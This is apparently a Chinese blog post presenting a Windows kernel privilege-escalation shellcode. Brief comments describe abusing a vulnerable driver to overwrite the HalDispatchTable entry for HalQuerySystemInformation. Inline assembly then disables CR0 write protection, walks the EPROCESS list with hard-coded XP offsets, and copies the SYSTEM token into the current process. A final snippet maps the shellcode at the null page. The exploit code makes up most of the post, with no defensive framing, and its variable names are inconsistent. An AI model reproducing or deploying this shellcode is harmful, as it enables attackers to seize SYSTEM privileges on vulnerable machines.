一段提权的ShellCode

/*
Shell执行思路:
一般会运用某个驱动的BUG,使得ring3传入的地址指向的代码会被运行
比如:
一个驱动会将传入的地址的内容清0,那么可以将Shellcode拷贝到0x00地址处,然后触发shellcode
在Ring3获取HalDispatchTable表的地址X,X+4即存有函数HalQuerySystemInformation的地址,则利用BUG将此处修改为0,即可触发Shellcode
*/
ULONG uAttr;
NTSTATUS MYShellCode(/*此处是原函数的参数*/)
{
 //关闭内核保护
    _asm
    {
  cli
        mov eax, cr0;
        mov uAttr, eax;
        and eax, 0FFFEFFFFh;
        mov cr0, eax;
    }
 //提权到SYSTEM
 _asm
 {
  mov eax,0XFFDFF124
     mov eax,[eax];//获取当前线程PETHREAD
  mov esi,[eax+0x220];//获取当前所属进程的PEPROCESS
  mov eax,esi
searchXP:
  mov eax,[eax+0x88]
  sub eax,0x88;//获取进程链表中的下一个PEPROCESS
  mov edx,[eax+0x84]
  cmp edx,0x4
  jne searchXP
  mov eax,[eax+0xc8];//获取SYSTEM进程的TOKEN
  mov [esi+0xc8],eax
 }//修改当前进程的TOKEN
 //开启内核保护
    _asm
    {
  sti
        mov eax, uAttr;
        mov cr0, eax;
    }
 return 0;
}
/*
 在0x0处申请一段内存,并写入ring0 shellcode
*/
ShellcodeAddress=(PVOID)sizeof(ULONG);
status=ZwAllocateVirtualMemory(NtCurrentProcess(),&ShellCodeAddress,0,MEM_RESERVE|MEM_COMMIT|MEM_TOP_DOWN,PAGE_EXECUTE_READWRITE);
if(status)
 return;
RtlMoveMemory(ShellCodeAddress,(PVOID)MyShellCode,ShellCodeSize);


 

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值